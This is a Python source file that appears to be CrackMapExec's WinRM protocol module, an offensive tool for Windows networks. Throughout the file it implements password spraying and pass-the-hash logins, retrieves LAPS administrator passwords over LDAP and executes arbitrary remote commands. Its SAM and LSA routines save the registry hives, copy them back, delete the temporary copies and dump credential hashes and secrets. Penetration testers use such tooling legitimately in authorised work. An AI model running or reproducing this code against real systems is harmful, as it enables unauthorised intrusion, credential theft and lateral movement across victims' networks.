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import requests
import logging
import configparser
from impacket.smbconnection import SMBConnection, SessionError
from cme.connection import *
from cme.helpers.logger import highlight
from cme.helpers.bloodhound import add_user_bh
from cme.protocols.ldap.smbldap import LDAPConnect
from cme.logger import CMEAdapter
from io import StringIO
from pypsrp.client import Client
from impacket.examples.secretsdump import LocalOperations, LSASecrets
# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class SuppressFilter(logging.Filter):
# remove warning https://github.com/diyan/pywinrm/issues/269
def filter(self, record):
return 'wsman' not in record.getMessage()
class winrm(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.output_filename = None
connection.__init__(self, args, db, host)
@staticmethod
def proto_args(parser, std_parser, module_parser):
winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser])
winrm_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
winrm_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
winrm_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
winrm_parser.add_argument("--port", type=int, default=0, help="Custom WinRM port")
winrm_parser.add_argument("--ssl", action='store_true', help="Connect to SSL Enabled WINRM")
winrm_parser.add_argument("--ignore-ssl-cert", action='store_true', help="Ignore Certificate Verification")
winrm_parser.add_argument("--laps", dest='laps', metavar="LAPS", type=str, help="LAPS authentification", nargs='?', const='administrator')
dgroup = winrm_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
cgroup = winrm_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')
return parser
def proto_flow(self):
self.proto_logger()
if self.create_conn_obj():
self.enum_host_info()
if self.print_host_info():
if self.login():
if hasattr(self.args, 'module') and self.args.module:
self.call_modules()
else:
self.call_cmd_args()
def proto_logger(self):
self.logger = CMEAdapter(extra={'protocol': 'SMB',
'host': self.host,
'port': 'NONE',
'hostname': 'NONE'})
def enum_host_info(self):
# smb no open, specify the domain
if self.args.domain:
self.domain = self.args.domain
self.logger.extra['hostname'] = self.hostname
else:
try:
smb_conn = SMBConnection(self.host, self.host, None)
try:
smb_conn.login('', '')
except SessionError as e:
pass
self.domain = smb_conn.getServerDNSDomainName()
self.hostname = smb_conn.getServerName()
self.server_os = smb_conn.getServerOS()
self.logger.extra['hostname'] = self.hostname
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
try:
smb_conn.logoff()
except:
pass
except Exception as e:
logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
def laps_search(self, username, password, ntlm_hash, domain):
ldapco = LDAPConnect(self.domain, "389", self.domain)
connection = ldapco.plaintext_login(domain, username[0] if username else '', password[0] if password else '', ntlm_hash[0] if ntlm_hash else '' )
if connection == False:
logging.debug('LAPS connection failed with account {}'.format(username))
return False
searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name='+ self.hostname +'))'
attributes = ['ms-MCS-AdmPwd','samAccountname']
result = connection.search(searchFilter=searchFilter,
attributes=attributes,
sizeLimit=0)
msMCSAdmPwd = ''
sAMAccountName = ''
for item in result:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
for computer in item['attributes']:
if str(computer['type']) == "sAMAccountName":
sAMAccountName = str(computer['vals'][0])
else:
msMCSAdmPwd = str(computer['vals'][0])
logging.debug("Computer: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname))
self.username = self.args.laps
self.password = msMCSAdmPwd
if msMCSAdmPwd == '':
logging.debug('msMCSAdmPwd is empty, account cannot read LAPS property for {}'.format(self.hostname))
return False
if ntlm_hash:
hash_ntlm = hashlib.new('md4', msMCSAdmPwd.encode('utf-16le')).digest()
self.hash = binascii.hexlify(hash_ntlm).decode()
self.domain = self.hostname
return True
def print_host_info(self):
if self.args.domain:
self.logger.extra['protocol'] = "HTTP"
self.logger.info(self.endpoint)
else:
self.logger.extra['protocol'] = "SMB"
self.logger.info(u"{} (name:{}) (domain:{})".format(self.server_os,
self.hostname,
self.domain))
self.logger.extra['protocol'] = "HTTP"
self.logger.info(self.endpoint)
self.logger.extra['protocol'] = "WINRM"
if self.args.laps:
return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
return True
def create_conn_obj(self):
endpoints = [
'https://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5986),
'http://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5985)
]
for url in endpoints:
try:
requests.get(url, verify=False, timeout=3)
self.endpoint = url
if self.endpoint.startswith('https://'):
self.port = self.args.port if self.args.port else 5986
else:
self.port = self.args.port if self.args.port else 5985
self.logger.extra['port'] = self.port
return True
except Exception as e:
if 'Max retries exceeded with url' not in str(e):
logging.debug('Error in WinRM create_conn_obj:' + str(e))
return False
def plaintext_login(self, domain, username, password):
try:
from urllib3.connectionpool import log
log.addFilter(SuppressFilter())
if not self.args.laps:
self.password = password
self.username = username
self.domain = domain
if self.args.ssl and self.args.ignore_ssl_cert:
self.conn = Client(self.host,
auth='ntlm',
username=u'{}\\{}'.format(domain, self.username),
password=self.password,
ssl=True,
cert_validation=False)
elif self.args.ssl:
self.conn = Client(self.host,
auth='ntlm',
username=u'{}\\{}'.format(domain, self.username),
password=self.password,
ssl=True)
else:
self.conn = Client(self.host,
auth='ntlm',
username=u'{}\\{}'.format(domain, self.username),
password=self.password,
ssl=False)
# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
# we could just authenticate without running a command :) (probably)
self.conn.execute_ps("hostname")
self.admin_privs = True
self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
except Exception as e:
if "with ntlm" in str(e):
self.logger.error(u'{}\\{}:{}'.format(self.domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8))
else:
self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
e))
return False
def hash_login(self, domain, username, ntlm_hash):
try:
from urllib3.connectionpool import log
log.addFilter(SuppressFilter())
lmhash = '00000000000000000000000000000000:'
nthash = ''
if not self.args.laps:
self.username = username
#This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
else:
nthash = ntlm_hash
ntlm_hash = lmhash + nthash
if lmhash: self.lmhash = lmhash
if nthash: self.nthash = nthash
else:
nthash = self.hash
self.domain = domain
if self.args.ssl and self.args.ignore_ssl_cert:
self.conn = Client(self.host,
auth='ntlm',
username=u'{}\\{}'.format(self.domain, self.username),
password=lmhash + nthash,
ssl=True,
cert_validation=False)
elif self.args.ssl:
self.conn = Client(self.host,
auth='ntlm',
username=u'{}\\{}'.format(self.domain, self.username),
password=lmhash + nthash,
ssl=True)
else:
self.conn = Client(self.host,
auth='ntlm',
username=u'{}\\{}'.format(self.domain, self.username),
password=lmhash + nthash,
ssl=False)
# TO DO: right now we're just running the hostname command to make the winrm library auth to the server
# we could just authenticate without running a command :) (probably)
self.conn.execute_ps("hostname")
self.admin_privs = True
self.logger.success(u'{}\\{}:{} {}'.format(self.domain,
self.username,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')))
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
except Exception as e:
if "with ntlm" in str(e):
self.logger.error(u'{}\\{}:{}'.format(self.domain,
self.username,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8))
else:
self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain,
self.username,
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
e))
return False
def execute(self, payload=None, get_output=False):
try:
r = self.conn.execute_cmd(self.args.execute)
except:
self.logger.debug('Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !')
r = self.conn.execute_ps(self.args.execute)
self.logger.success('Executed command')
self.logger.highlight(r[0])
def ps_execute(self, payload=None, get_output=False):
r = self.conn.execute_ps(self.args.ps_execute)
self.logger.success('Executed command')
self.logger.highlight(r[0])
def sam(self):
self.conn.execute_cmd("reg save HKLM\SAM C:\\windows\\temp\\SAM && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
self.conn.fetch("C:\\windows\\temp\\SAM", self.output_filename + ".sam")
self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system")
self.conn.execute_cmd("del C:\\windows\\temp\\SAM && del C:\\windows\\temp\\SYSTEM")
localOperations = LocalOperations(self.output_filename + ".system")
bootKey = localOperations.getBootKey()
SAM = SAMHashes(self.output_filename + ".sam", bootKey, isRemote=None, perSecretCallback=lambda secret: self.logger.highlight(secret))
SAM.dump()
SAM.export(self.output_filename + ".sam")
def lsa(self):
self.conn.execute_cmd("reg save HKLM\SECURITY C:\\windows\\temp\\SECURITY && reg save HKLM\SYSTEM C:\\windows\\temp\\SYSTEM")
self.conn.fetch("C:\\windows\\temp\\SECURITY", self.output_filename + ".security")
self.conn.fetch("C:\\windows\\temp\\SYSTEM", self.output_filename + ".system")
self.conn.execute_cmd("del C:\\windows\\temp\\SYSTEM && del C:\\windows\\temp\\SECURITY")
localOperations = LocalOperations(self.output_filename + ".system")
bootKey = localOperations.getBootKey()
LSA = LSASecrets(self.output_filename + ".security", bootKey, None, isRemote=None, perSecretCallback=lambda secretType, secret: self.logger.highlight(secret))
LSA.dumpCachedHashes()
LSA.dumpSecrets()